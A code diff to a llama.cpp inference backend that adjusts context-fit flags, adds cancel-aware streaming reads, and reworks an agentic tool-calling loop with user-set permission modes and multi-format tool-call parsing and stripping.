         """Schedule one background reload without MTP after a mid-generation death.
 
@@ -7822,7 +9868,12 @@ class LlamaCppBackend:
 
     @staticmethod
     def _ctx_integrity_flags(
-        n_parallel: int, use_fit: bool, requested_ctx: int, effective_ctx: int, caps: dict
+        n_parallel: int,
+        use_fit: bool,
+        auto_fit: bool,
+        requested_ctx: int,
+        effective_ctx: int,
+        caps: dict,
     ) -> list[str]:
         """Flags that keep the per-request window equal to the advertised ctx.
 
@@ -7830,14 +9881,28 @@ class LlamaCppBackend:
         ``--kv-unified`` default, silently splitting ``-c`` into per-slot
         windows of ``-c / N``; restore the shared pool so one request can use
         the full context. With ``--fit on``, ``--fit-ctx`` floors the fit step
-        at an explicitly requested ctx (default floor is 4096) so it offloads
-        or fails instead of silently shrinking the window.
+        at an explicitly requested ctx so it offloads or fails instead of
+        silently shrinking the window. The 8192 auto-floor and the tighter
+        ``--fit-target`` margin apply only under Manual + Auto (``auto_fit``),
+        which omits ``-c``: on the legacy auto path ``-c 0`` already pins the
+        native window and ``--fit-ctx 8192`` would override it down to 8192.
         """
         flags: list[str] = []
         if n_parallel > 1 and caps.get("supports_kv_unified"):
             flags.append("--kv-unified")
-        if use_fit and requested_ctx > 0 and effective_ctx > 0 and caps.get("supports_fit_ctx"):
-            flags.extend(["--fit-ctx", str(effective_ctx)])
+        if use_fit and caps.get("supports_fit_ctx"):
+            if requested_ctx > 0 and effective_ctx > 0:
+                # Floor the fit step at the explicitly requested ctx.
+                flags.extend(["--fit-ctx", str(effective_ctx)])
+            elif auto_fit:
+                # Manual + Auto omits -c, so floor at 8192 so --fit doesn't
+                # shrink the window below a usable size.
+                flags.extend(["--fit-ctx", "8192"])
+        if use_fit and auto_fit and caps.get("supports_fit_target"):
+            # llama.cpp's --fit leaves 1 GiB free per device by default;
+            # tighten that to 512 MiB so it packs more of the model onto
+            # the GPU before spilling to system RAM.
+            flags.extend(["--fit-target", "512"])
         return flags
 
     def _query_server_n_ctx(self) -> Optional[int]:
@@ -7858,7 +9923,7 @@ class LlamaCppBackend:
             return None
 
     def _reconcile_effective_ctx_with_server(self) -> None:
-        """Adopt the server's real ``n_ctx`` when it is below Studio's value.
+        """Adopt the server's real ``n_ctx`` when it is below Unsloth's value.
 
         Keeps ``context_length`` (load response, status route, passthrough
         ``max_tokens`` ceiling) honest; clients sized to the requested value
@@ -7881,12 +9946,17 @@ class LlamaCppBackend:
     # ── Message building (OpenAI format) ──────────────────────────
 
     @staticmethod
-    def _parse_tool_calls_from_text(content: str, *, allow_incomplete: bool = True) -> list[dict]:
-        """Thin wrapper around the shared parser in tool_call_parser
-        so safetensors and llama_cpp pick up the same fixes."""
+    def _parse_tool_calls_from_text(
+        content: str,
+        *,
+        allow_incomplete: bool = True,
+        enabled_tool_names: Optional[set] = None,
+    ) -> list[dict]:
+        """Wrapper around the shared parser; ``enabled_tool_names`` gates the markerless bare-JSON form."""
         return _shared_parse_tool_calls_from_text(
             content,
             allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
         )
 
     @staticmethod
@@ -8003,7 +10073,8 @@ class LlamaCppBackend:
 
     @staticmethod
     def _shutdown_active_httpx_sockets(client: "httpx.Client") -> None:
-        """Best-effort interrupt for a sync httpx request blocked before headers."""
+        """Best-effort interrupt for a sync httpx read blocked in recv(), whether
+        parked before headers (prefill) or mid-stream."""
         try:
             pool = getattr(getattr(client, "_transport", None), "_pool", None)
             connections = list(getattr(pool, "_connections", []) or [])
@@ -8028,6 +10099,75 @@ class LlamaCppBackend:
         except Exception:
             logger.debug("Could not close httpx client", exc_info = True)
 
+    @staticmethod
+    def _install_cancel_aware_read(
+        client: "httpx.Client",
+        cancel_event: threading.Event,
+        response: Optional["httpx.Response"] = None,
+        poll_s: float = 0.2,
+    ) -> None:
+        """Wrap the httpcore stream so the reader interrupts its own blocked recv() on cancel.
+
+        A cross-thread socket shutdown wakes a parked recv() on POSIX but not on
+        Windows (Winsock), so read in short slices and poll cancel_event between them
+        (plain or TLS); slice timeouts are swallowed so a slow-but-alive stream survives.
+        httpcore snapshots request.extensions["timeout"]["read"] once at body start, so
+        given ``response`` we re-read the live value per call to honor the post-first-token
+        stall timeout instead of the long prefill timeout."""
+        import httpcore
+
+        def _live_read_timeout() -> Optional[float]:
+            if response is None:
+                return None
+            try:
+                ext = response.request.extensions.get("timeout")
+                if isinstance(ext, dict):
+                    value = ext.get("read")
+                    if isinstance(value, (int, float)):
+                        return float(value)
+            except Exception:
+                pass
+            return None
+
+        try:
+            pool = getattr(getattr(client, "_transport", None), "_pool", None)
+            for connection in list(getattr(pool, "_connections", []) or []):
+                inner = getattr(connection, "_connection", None)
+                stream = getattr(inner, "_network_stream", None)
+                if stream is None or getattr(stream, "_unsloth_cancel_wrapped", False):
+                    continue
+                orig_read = stream.read
+
+                def read(
+                    max_bytes,
+                    timeout = None,
+                    _orig = orig_read,
+                ):
+                    live = _live_read_timeout()
+                    effective = live if live is not None else timeout
+                    deadline = None if effective is None else time.monotonic() + effective
+                    while True:
+                        if cancel_event.is_set():
+                            raise httpcore.ReadError("stream cancelled by user")
+                        if deadline is None:
+                            step = poll_s
+                        else:
+                            remaining = deadline - time.monotonic()
+                            if remaining <= 0:
+                                raise httpcore.ReadTimeout("read operation timed out")
+                            step = min(poll_s, remaining)
+                        try:
+                            return _orig(max_bytes, timeout = step)
+                        except httpcore.ReadTimeout:
+                            if deadline is not None and time.monotonic() >= deadline:
+                                raise
+                            continue  # slow but alive: keep reading
+
+                stream.read = read
+                stream._unsloth_cancel_wrapped = True
+        except Exception:
+            logger.debug("Could not install cancel-aware read", exc_info = True)
+
     @staticmethod
     @contextlib.contextmanager
     def _stream_with_retry(
@@ -8040,7 +10180,7 @@ class LlamaCppBackend:
     ):
         """Open one streaming POST and let cancel interrupt prefill or reads."""
         if cancel_event is not None and cancel_event.is_set():
-            raise GeneratorExit
+            raise _LlamaStreamCancelled
 
         _cancel_closed = threading.Event()
         _response_ref: list = [None]
@@ -8051,10 +10191,11 @@ class LlamaCppBackend:
                     while not _cancel_closed.is_set():
                         r = _response_ref[0]
                         try:
+                            # response.close() can't wake a read already blocked in
+                            # recv(); only a socket shutdown does, so shut down first.
+                            LlamaCppBackend._shutdown_active_httpx_sockets(client)
                             if r is not None:
                                 r.close()
-                            else:
-                                LlamaCppBackend._shutdown_active_httpx_sockets(client)
                             return
                         except Exception as e:
                             logger.debug(f"Error closing request in cancel watcher: {e}")
@@ -8084,14 +10225,19 @@ class LlamaCppBackend:
                 headers = headers,
             ) as response:
                 _response_ref[0] = response
+                if cancel_event is not None:
+                    # Portable mid-stream cancel: the reader polls cancel itself, so
+                    # Stop interrupts a stalled read where the watcher's Windows socket
+                    # shutdown does not. Pass response to honor the live stall timeout.
+                    LlamaCppBackend._install_cancel_aware_read(client, cancel_event, response)
                 if cancel_event is not None and cancel_event.is_set():
-                    raise GeneratorExit
+                    raise _LlamaStreamCancelled
                 yield response
                 return
         except (httpx.RequestError, RuntimeError):
             # Response was closed by the cancel watcher
             if cancel_event is not None and cancel_event.is_set():
-                raise GeneratorExit
+                raise _LlamaStreamCancelled
             raise
         finally:
             _cancel_closed.set()
@@ -8294,6 +10440,8 @@ class LlamaCppBackend:
                         "finish_reason": _metadata_finish_reason,
                     }
 
+        except _LlamaStreamCancelled:
+            return
         except httpx.ConnectError as e:
             # Server already down. If this was an MTP+tensor crash, recover by
             # reloading without MTP (scheduled in the background) and fail this
@@ -8353,23 +10501,47 @@ class LlamaCppBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
+        thread_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
         seed: Optional[int] = None,
         disable_parallel_tool_use: bool = False,
         confirm_tool_calls: bool = False,
         bypass_permissions: bool = False,
+        permission_mode: Optional[str] = None,
     ) -> Generator[dict, None, None]:
         """
         Agentic loop: let the model call tools, execute them, and continue.
 
+        permission_mode: "ask" confirms every call (with confirm_tool_calls),
+        "auto" only pauses calls detected as potentially unsafe, "off" never
+        pauses (sandbox stays on), "full" is the same as bypass_permissions.
+        Unset/unknown behaves as "ask".
+
         Yields dicts:
           {"type": "status", "text": "Searching: ..."/"Reading: ..."}   -- tool status updates
           {"type": "content", "text": "token"}            -- streamed content tokens (cumulative)
           {"type": "reasoning", "text": "token"}          -- streamed reasoning tokens (cumulative)
         """
-        from core.inference.tools import build_rag_autoinject, execute_tool
+        from core.inference.tool_stream_exec import accepts_output_callback, stream_tool_execution
+        from core.inference.tools import (
+            build_rag_autoinject,
+            execute_tool,
+            is_always_safe_tool,
+            is_potentially_unsafe_tool_call,
+        )
+
+        # Normalize the mode: "full" and bypass_permissions are the same
+        # switch, whichever arrives first wins toward the permissive side.
+        # "off" keeps the sandbox but never prompts.
+        if permission_mode == "full":
+            bypass_permissions = True
+        elif bypass_permissions:
+            permission_mode = "full"
+        elif permission_mode not in ("ask", "auto", "off"):
+            permission_mode = "ask"
 
         if not self.is_loaded:
             raise RuntimeError("llama-server is not loaded")
@@ -8377,8 +10549,14 @@ class LlamaCppBackend:
         conversation = list(messages)
 
         # Forced first-pass RAG so a doc question doesn't lose to web_search. Emits
-        # the same tool card + citations a real call would.
-        _auto = None if confirm_tool_calls else build_rag_autoinject(conversation, rag_scope)
+        # the same tool card + citations a real call would. Skip it only when a
+        # retrieval call would actually prompt (ask mode); auto never gates the
+        # safe search_knowledge_base tool, so retrieval must still run there.
+        # off never prompts either, so it also keeps first-pass retrieval.
+        _skip_autoinject = (
+            confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off")
+        )
+        _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope)
         if _auto:
             for _ev in _auto["events"]:
                 yield _ev
@@ -8392,12 +10570,23 @@ class LlamaCppBackend:
         _reasoning_started_at: Optional[float] = None
         _reasoning_summary_emitted = False
 
+        # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+        # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = no gate.
+        _enabled_names_gate = set(_gguf_active_tool_names(tools)) if tools else None
+        # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+        # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+        _detect_tools = list(tools or [])
+
         def _reasoning_summary_event(started_at: float) -> dict:
             return {
                 "type": "reasoning_summary",
                 "duration_ms": round((time.monotonic() - started_at) * 1000.0),
             }
 
+        # Enabled-name gate for the markerless Gemma strip (disabled/example
+        # names stay visible). Set per iteration; None = pre-loop name-agnostic.
+        _enabled_tool_names = None
+
         def _strip_tool_markup(
             text: str,
             *,
@@ -8406,14 +10595,42 @@ class LlamaCppBackend:
         ) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            return strip_tool_call_markup(text, final = final)
+            # Delegate to the shared parser-side strip so the GGUF cleanup covers every family the
+            # parser promotes (Llama <|python_tag|>, Mistral [TOOL_CALLS], bare rehearsal, function
+            # XML, Gemma) and stays aligned with detection; tool_healing's strip omits the loop-only
+            # forms (python_tag / Mistral name) and would leak them into display.
+            return _shared_strip_tool_markup(
+                text, final = final, enabled_tool_names = _enabled_names_gate
+            )
 
         def _strip_tool_markup_streaming(text: str, *, force: bool = False) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            for pat in _TOOL_ALL_PATS:
-                text = pat.sub("", text)
-            return text
+
+            def _seg(segment: str, is_last: bool) -> str:
+                # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+                # strips first (nested JSON removed whole; literal markup inside a value is that
+                # call's data), then the guarded function-XML / GLM scans, then the regex arms
+                # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+                # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal + markerless
+                # strips are name-gated on the ORIGINAL list (strip/detect aligned).
+                seg = _strip_mistral_closed_calls(segment)
+                seg = _strip_bracket_tag_calls(seg, enabled_tool_names = _enabled_names_gate)
+                if is_last:
+                    seg = _strip_gemma_wrapperless_calls(seg, _enabled_names_gate)
+                seg = _strip_function_xml_calls(seg, final = is_last)
+                seg = _strip_glm_calls(seg, final = is_last)
+                pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+                for pat in pats:
+                    seg = pat.sub("", seg)
+                if is_last:
+                    seg = apply_tool_strip_patterns(
+                        seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = _enabled_names_gate
+                    )
+                return seg
+
+            # Preserve think blocks verbatim (a rehearsed call inside one must not be deleted).
+            return strip_outside_think(text, _seg)
 
         def _build_metadata_event(usage, timings, finish_reason):
             """Final usage+timings metadata event for the given pass, merging its
@@ -8449,13 +10666,38 @@ class LlamaCppBackend:
             }
 
         def _flush_reasoning_and_buffer():
-            """Append buffered reasoning (as a <think> block) then the held
+            """Close a live-streamed <think> block (or emit the buffered reasoning
+            as one block if it never streamed), then append the held
             content_buffer to the cumulative display text."""
-            nonlocal cumulative_display
-            if reasoning_accum:
+            nonlocal cumulative_display, in_thinking
+            if in_thinking:
+                cumulative_display += "</think>"
+                in_thinking = False
+            elif reasoning_accum:
                 cumulative_display += "<think>" + reasoning_accum + "</think>"
             cumulative_display += content_buffer
 
+        def _close_streamed_think() -> bool:
+            """Close a live-streamed <think> before a tool call drains, so
+            consumers without a reasoning extractor (Anthropic) get a balanced
+            block. Returns True when the caller should yield the result."""
+            nonlocal cumulative_display, in_thinking, _last_emitted
+            if not in_thinking:
+                return False
+            cumulative_display += "</think>"
+            in_thinking = False
+            if len(cumulative_display) > len(_last_emitted) and not _suppress_visible_output:
+                _last_emitted = cumulative_display
+                return True
+            return False
+
+        def _looks_like_enabled_bare_json(text: str, enabled_tool_names: set) -> bool:
+            """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+            probe = strip_llama3_leading_sentinels(text.lstrip())
+            if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+                return False
+            return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
         tool_controller = ToolLoopController(
             tools = tools,
             auto_heal_tool_calls = auto_heal_tool_calls,
@@ -8469,18 +10711,21 @@ class LlamaCppBackend:
             )
 
         _MAX_BUFFER_CHARS = 32
+        # Hold a leading ``{`` well past the 32-char XML cap until it balances (mirrors safetensors).
+        _MAX_BARE_JSON_BUFFER = 16384
         _append_budget_exhausted_nudge = True
         # RAG: cap knowledge-base searches per assistant turn. The controller is
         # tool-agnostic, so this gate stays in the loop.
         _kb_search_count = 0
 
         # ── Re-prompt on plan-without-action ─────────────────
-        # When the model describes what it intends to do (forward-looking
-        # language) without calling a tool, re-prompt once. Only triggers on
-        # responses signaling intent/planning -- a direct answer like "4" or
-        # "Hello!" won't match. Pattern compiled at module level
-        # (_INTENT_SIGNAL).
+        # Model describes intent without calling a tool: re-prompt once. A
+        # direct answer ("4", "Hello!") won't match. Pattern shared with the
+        # safetensors loop (tool_call_parser.INTENT_SIGNAL).
         _reprompt_count = 0
+        # Gates ``max_tool_iterations`` on real tool turns (not the enlarged range) so reserved
+        # re-prompt slots don't extend the budget. Mirrors the safetensors guard.
+        _tool_iters_done = 0
         _forced_tool_call_pending = False
 
         # Reserve extra iterations for re-prompts so they don't consume the
@@ -8489,12 +10734,21 @@ class LlamaCppBackend:
         for iteration in range(max_tool_iterations + _extra):
             if cancel_event is not None and cancel_event.is_set():
                 return
+            # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+            _turn_executed_real_tool = False
 
             active_tools = tool_controller.active_tools()
             if not active_tools:
                 _append_budget_exhausted_nudge = False
                 break
-            _tool_xml_signals = TOOL_XML_SIGNALS
+            # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
+            _enabled_tool_names = {
+                (tool.get("function") or {}).get("name")
+                for tool in active_tools
+                if (tool.get("function") or {}).get("name")
+            }
+            # Shared signal tuple so GGUF BUFFERING wakes on every format the parser knows (like safetensors).
+            _tool_xml_signals = _SHARED_TOOL_XML_SIGNALS
 
             # Build payload -- stream: True so we detect tool signals
             # in the first 1-2 chunks without a non-streaming penalty.
@@ -8556,6 +10810,17 @@ class LlamaCppBackend:
                 provisional_started_tool_calls: dict[str, str] = {}
                 resolved_provisional_tool_call_ids: set[str] = set()
                 _suppress_visible_output = _forced_tool_call_pending
+                # Cards that already got their first tool_args event; later
+                # fragments stream individually so a big payload isn't a dead spinner.
+                arg_streamed_tool_call_ids: set[str] = set()
+                # TEXT tool-call path: a committed call's raw text streams to a
+                # provisional card under the parser's first-call id ("call_0"), so
+                # the final tool_start reconciles in place.
+                _text_args_call_start = -1
+                _text_args_streamed_upto = -1
+                _text_args_id = ""
+                _text_args_name = ""
+                _confirm_gated_iteration = bool(confirm_tool_calls) and not bypass_permissions
 
                 with self._open_stream(url, payload, cancel_event) as (
                     response,
@@ -8624,6 +10889,10 @@ class LlamaCppBackend:
                                     # the structured tool call.
                                     has_structured_tc = True
                                     detect_state = _S_DRAINING
+                                    # Close the reasoning prefix before the tool card
+                                    # (mirrors the is_match path).
+                                    if _close_streamed_think():
+                                        yield {"type": "content", "text": cumulative_display}
                                     for tc_d in tc_deltas:
                                         idx = tc_d.get("index", 0)
                                         if idx not in tool_calls_acc:
@@ -8668,8 +10937,16 @@ class LlamaCppBackend:
                                             in provisional_started_tool_calls.values()
                                         )
                                         # Later parallel cards only reconcile when parallel use is enabled.
+                                        # In auto mode an always-safe tool (render_html) never
+                                        # prompts, so it must stream its early card too; mirror
+                                        # that here instead of gating on the raw confirm flag.
                                         _confirm_gated = (
-                                            confirm_tool_calls and not bypass_permissions
+                                            confirm_tool_calls
+                                            and not bypass_permissions
+                                            and not (
+                                                permission_mode == "auto"
+                                                and is_always_safe_tool(current_name)
+                                            )
                                         )
                                         # Keep small-argument tools on the normal path.
                                         _args_len = len(
@@ -8706,20 +10983,43 @@ class LlamaCppBackend:
                                                     provisional = True,
                                                 ),
                                             }
+                                        # Stream argument text so the UI shows the code being
+                                        # written: first event the backlog, later the fragment.
+                                        # Display only; accumulator untouched.
+                                        if current_id in provisional_started_tool_calls:
+                                            if current_id not in arg_streamed_tool_call_ids:
+                                                arg_streamed_tool_call_ids.add(current_id)
+                                                _args_backlog = tool_calls_acc[idx]["function"].get(
+                                                    "arguments", ""
+                                                )
+                                                if _args_backlog:
+                                                    yield {
+                                                        "type": "tool_args",
+                                                        "tool_call_id": current_id,
+                                                        "tool_name": current_name,
+                                                        "text": _args_backlog,
+                                                    }
+                                            elif func.get("arguments"):
+                                                yield {
+                                                    "type": "tool_args",
+                                                    "tool_call_id": current_id,
+                                                    "tool_name": current_name,
+                                                    "text": func["arguments"],
+                                                }
                                     continue
 
                                 # ── Reasoning tokens ──
-                                # Yield only in STREAMING. In BUFFERING and
-                                # DRAINING, accumulate silently so we don't
-                                # corrupt the consumer's prev_text tracker
-                                # (routes/inference.py never resets it
-                                # between tool iterations).
+                                # Stream live except while DRAINING: reasoning is
+                                # orthogonal to tool detection (content_buffer
+                                # only), and the route resets prev_text on
+                                # tool_start, so the <think> block stays a
+                                # monotonic prefix like the no-tool path.
                                 reasoning = delta.get("reasoning_content", "")
                                 if reasoning:
                                     if _reasoning_started_at is None:
                                         _reasoning_started_at = time.monotonic()
                                     reasoning_accum += reasoning
-                                    if detect_state == _S_STREAMING:
+                                    if detect_state != _S_DRAINING:
                                         if not in_thinking:
                                             cumulative_display += "<think>"
                                             in_thinking = True
@@ -8744,7 +11044,60 @@ class LlamaCppBackend:
                                     content_accum += token
 
                                     if detect_state == _S_DRAINING:
-                                        pass  # accumulate silently
+                                        # Accumulate silently for parsing, but stream the drained
+                                        # TEXT call to a provisional card. Gated on an enabled-name
+                                        # sniff + size floor so prose/small calls spawn no pane; id
+                                        # matches the first call so the final tool_start reconciles.
+                                        if (
+                                            not has_structured_tc
+                                            and not _confirm_gated_iteration
+                                            and _text_args_call_start >= 0
+                                        ):
+                                            if not _text_args_id:
+                                                _call_text = content_accum[_text_args_call_start:]
+                                                _sniffed = _sniff_text_tool_name(
+                                                    _call_text, _enabled_tool_names
+                                                )
+                                                if _sniffed and (
+                                                    _sniffed == "render_html"
+                                                    or len(_call_text)
+                                                    >= _PROVISIONAL_ARGS_MIN_CHARS
+                                                ):
+                                                    _text_args_id = "call_0"
+                                                    _text_args_name = _sniffed
+                                                    if (
+                                                        _text_args_id
+                                                        not in provisional_started_tool_calls
+                                                    ):
+                                                        provisional_started_tool_calls[
+                                                            _text_args_id
+                                                        ] = _sniffed
+                                                        yield {
+                                                            "type": "tool_start",
+                                                            "tool_name": _sniffed,
+                                                            "tool_call_id": _text_args_id,
+                                                            "arguments": {},
+                                                            "provenance": tool_event_provenance(
+                                                                provisional = True,
+                                                            ),
+                                                        }
+                                                    yield {
+                                                        "type": "tool_args",
+                                                        "tool_call_id": _text_args_id,
+                                                        "tool_name": _sniffed,
+                                                        "text": _call_text,
+                                                    }
+                                                    _text_args_streamed_upto = len(content_accum)
+                                            elif len(content_accum) > _text_args_streamed_upto:
+                                                yield {
+                                                    "type": "tool_args",
+                                                    "tool_call_id": _text_args_id,
+                                                    "tool_name": _text_args_name,
+                                                    "text": content_accum[
+                                                        _text_args_streamed_upto:
+                                                    ],
+                                                }
+                                                _text_args_streamed_upto = len(content_accum)
 
                                     elif detect_state == _S_STREAMING:
                                         if in_thinking:
@@ -8752,12 +11105,18 @@ class LlamaCppBackend:
                                             in_thinking = False
                                         cumulative_display += token
                                         cleaned = _strip_tool_markup_streaming(cumulative_display)
-                                        if len(cleaned) > len(_last_emitted):
-                                            _last_emitted = cleaned
+                                        # Hold a trailing bare active-tool-name (split rehearsal)
+                                        # until [ARGS] arrives; released by later prose or stream end.
+                                        _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                        _emit = (
+                                            cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                                        )
+                                        if len(_emit) > len(_last_emitted):
+                                            _last_emitted = _emit
                                             if not _suppress_visible_output:
                                                 yield {
                                                     "type": "content",
-                                                    "text": cleaned,
+                                                    "text": _emit,
                                                 }
 
                                     elif detect_state == _S_BUFFERING:
@@ -8766,7 +11125,8 @@ class LlamaCppBackend:
                                         if not stripped_buf:
                                             continue
 
-                                        # Check tool signal prefixes.
+                                        # Bracket tags arrive mid-buffer, so substring-check too;
+                                        # ``[ARGS]`` counts only as a regex-matched NAME[ARGS].
                                         is_prefix = False
                                         is_match = False
                                         for sig in _tool_xml_signals:
@@ -8776,14 +11136,96 @@ class LlamaCppBackend:
                                             if sig.startswith(stripped_buf):
                                                 is_prefix = True
                                                 break
+                                            if sig == "[ARGS]":
+                                                # Active NAME[ARGS] only; inactive-name prose
+                                                # is gated out, not drained/parsed.
+                                                if (
+                                                    _gguf_rehearsal_signal_pos(
+                                                        stripped_buf, _detect_tools
+                                                    )
+                                                    >= 0
+                                                ):
+                                                    is_match = True
+                                                    break
+                                            elif sig.startswith("[") and sig in stripped_buf:
+                                                is_match = True
+                                                break
 
-                                        if is_match:
+                                        # Split rehearsal: hold the bare name until
+                                        # its [ARGS] arrives and matches above.
+                                        is_rehearsal_prefix = False
+                                        if (
+                                            not is_match
+                                            and not is_prefix
+                                            and _is_rehearsal_prefix(stripped_buf, _detect_tools)
+                                        ):
+                                            is_prefix = True
+                                            is_rehearsal_prefix = True
+
+                                        # Signal-less call shapes (mirror the safetensors
+                                        # loop): Llama-3.2 bare {"name":..} and Gemma
+                                        # call:NAME{...} would otherwise stream raw.
+                                        _hold_buffer = False
+                                        # Whole buffer is the call (no visible prefix) -- drain silently.
+                                        _drain_silently = False
+                                        if not is_match and not is_prefix:
+                                            _bare = strip_llama3_leading_sentinels(stripped_buf)
+                                            if _bare.startswith("{"):
+                                                if _balanced_brace_end(_bare, 0) is None:
+                                                    if len(stripped_buf) < _MAX_BARE_JSON_BUFFER:
+                                                        _hold_buffer = True
+                                                    elif _looks_like_enabled_bare_json(
+                                                        _bare, _enabled_tool_names
+                                                    ):
+                                                        # Oversized still-open enabled call: drain
+                                                        # rather than leak; a giant ordinary JSON
+                                                        # answer still streams.
+                                                        _drain_silently = True
+                                                elif self._parse_tool_calls_from_text(
+                                                    content_buffer,
+                                                    allow_incomplete = auto_heal_tool_calls,
+                                                    enabled_tool_names = _enabled_tool_names,
+                                                ):
+                                                    _drain_silently = True
+                                            elif (
+                                                "call:".startswith(stripped_buf)
+                                                or _GEMMA_BARE_TC_PREFIX_RE.match(stripped_buf)
+                                                is not None
+                                                or _GEMMA_BARE_TC_RE.match(stripped_buf) is not None
+                                            ):
+                                                # Whitespace-tolerant like the parser.
+                                                if _GEMMA_BARE_TC_RE.match(stripped_buf):
+                                                    _drain_silently = True
+                                                elif len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                                    _hold_buffer = True
+
+                                        if _drain_silently:
+                                            # The buffered content IS the call; drain it
+                                            # without yielding. A live <think> prefix is
+                                            # separate from it -- close that.
+                                            detect_state = _S_DRAINING
+                                            # Call text begins at the held buffer
+                                            # (live arg display only; UI extracts the code).
+                                            _text_args_call_start = len(content_accum) - len(
+                                                content_buffer
+                                            )
+                                            if _close_streamed_think():
+                                                yield {
+                                                    "type": "content",
+                                                    "text": cumulative_display,
+                                                }
+                                        elif is_match:
                                             # Tool signal -- flush any visible
                                             # prefix before DRAINING so the
                                             # route sends it before tool_start.
+                                            # Use the final strip (all families incl. Llama
+                                            # <|python_tag|> / Mistral name): the buffer holds
+                                            # the whole call, so a streaming closed-only strip
+                                            # would leak its open-ended markup as display text.
                                             _flush_reasoning_and_buffer()
-                                            cleaned = _strip_tool_markup_streaming(
+                                            cleaned = _strip_tool_markup(
                                                 cumulative_display,
+                                                final = True,
                                                 force = True,
                                             )
                                             if len(cleaned) > len(_last_emitted):
@@ -8794,7 +11236,20 @@ class LlamaCppBackend:
                                                         "text": cleaned,
                                                     }
                                             detect_state = _S_DRAINING
-                                        elif is_prefix and len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                            # Live-arg display starts at the held buffer
+                                            # (visible prefix flushed above; UI extracts the code).
+                                            _text_args_call_start = len(content_accum) - len(
+                                                content_buffer
+                                            )
+                                        elif _hold_buffer or (
+                                            is_prefix
+                                            and (
+                                                is_rehearsal_prefix
+                                                or len(stripped_buf) < _MAX_BUFFER_CHARS
+                                            )
+                                        ):
+                                            # A rehearsal prefix is self-bounded; the buffer
+                                            # cap must not cut long MCP names short.
                                             pass  # keep buffering
                                         else:
                                             # Not a tool -- flush buffer
@@ -8805,12 +11260,20 @@ class LlamaCppBackend:
                                             cleaned = _strip_tool_markup(
                                                 cumulative_display,
                                             )
-                                            if len(cleaned) > len(_last_emitted):
-                                                _last_emitted = cleaned
+                                            # Same trailing-name hold as STREAMING for this
+                                            # first flush out of BUFFERING.
+                                            _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                            _emit = (
+                                                cleaned[: len(cleaned) - _hold]
+                                                if _hold
+                                                else cleaned
+                                            )
+                                            if len(_emit) > len(_last_emitted):
+                                                _last_emitted = _emit
                                                 if not _suppress_visible_output:
                                                     yield {
                                                         "type": "content",
-                                                        "text": cleaned,
+                                                        "text": _emit,
                                                     }
 
                             except json.JSONDecodeError:
@@ -8821,7 +11284,18 @@ class LlamaCppBackend:
                 # ── Resolve BUFFERING at stream end ──
                 if detect_state == _S_BUFFERING:
                     stripped_buf = content_buffer.lstrip()
-                    if stripped_buf and any(s in stripped_buf for s in _tool_xml_signals):
+                    # A held bare-JSON fragment has no XML signal; route it to DRAINING (the signal-only
+                    # gate below would flush the raw JSON to the user).
+                    _bare_eos = strip_llama3_leading_sentinels(stripped_buf)
+                    # Gate on enabled names so an ordinary JSON answer isn't routed to DRAINING and dropped.
+                    _is_bare_tc = bool(active_tools) and _looks_like_enabled_bare_json(
+                        _bare_eos, _enabled_tool_names
+                    )
+                    if stripped_buf and _gguf_has_genuine_tool_signal(
+                        stripped_buf, _tool_xml_signals, _detect_tools
+                    ):
+                        detect_state = _S_DRAINING
+                    elif _is_bare_tc:
                         detect_state = _S_DRAINING
                     elif content_accum or reasoning_accum:
                         detect_state = _S_STREAMING
@@ -8837,7 +11311,9 @@ class LlamaCppBackend:
                                     ),
                                 }
                         elif reasoning_accum and not has_content_tokens:
-                            # Reasoning-only reply: show it as plain text.
+                            # Reasoning-only reply: show it as the main response,
+                            # not a thinking block (mirrors the no-tool path; the
+                            # route's extractor closes the streamed <think>).
                             if _reasoning_started_at is not None and not _reasoning_summary_emitted:
                                 _reasoning_summary_emitted = True
                                 yield _reasoning_summary_event(_reasoning_started_at)
@@ -8848,20 +11324,26 @@ class LlamaCppBackend:
                                     "text": cumulative_display,
                                 }
                     else:
+                        # Held buffer was no tool signal and no enabled bare-JSON call: a leading ``{`` is an
+                        # ordinary JSON answer and must be shown; any other partial-markup prefix is dropped.
+                        _held = strip_llama3_leading_sentinels(content_buffer.lstrip())
+                        if _held.startswith("{") and not _suppress_visible_output:
+                            yield {"type": "content", "text": _held}
                         return
 
                 # ── STREAMING path: no tool call ──
                 if detect_state == _S_STREAMING:
-                    # Safety net: check for XML tool signals in content. The
+                    # Safety net: re-parse the full content for tool calls. The
                     # route layer resets prev_text on tool_start, so post-tool
                     # synthesis streams correctly even if content was emitted
                     # before the tool XML.
-                    _safety_tc = None
-                    if any(s in content_accum for s in _tool_xml_signals):
-                        _safety_tc = self._parse_tool_calls_from_text(
-                            content_accum,
-                            allow_incomplete = auto_heal_tool_calls,
-                        )
+                    # Unconditional (not gated on _tool_xml_signals): bare-JSON and Gemma wrapper-less
+                    # calls carry no XML signal, so a signal gate would let them slip past.
